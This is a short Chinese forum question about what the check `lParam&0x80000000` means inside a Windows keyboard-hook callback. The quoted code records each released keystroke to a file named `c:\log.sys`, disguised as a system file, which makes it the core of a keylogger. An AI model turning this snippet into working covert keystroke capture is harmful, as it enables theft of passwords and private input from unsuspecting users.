在键盘hook中按键处理函数中if(lParam&0x80000000)是什么意思啊!!msdn中对lParam参数的说明看不懂
LRESULT CALLBACK KeyBoardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
//当接收到的消息为WM_KEYUPSH时,存储字符到文件log.sys中
if(lParam&0x80000000)
{
char code=(char)wParam;
CFile
file("c:\\log.sys",CFile::modeCreate|CFile::modeNoTruncate|CFile::modeWrite);
file.SeekToEnd();
file.Write(&code,1);
file.Close();
}
//调用CallNextHookEx()函数,并返回该函数的返回值。
return CallNextHookEx(oldkeyhook, nCode, wParam, lParam);
}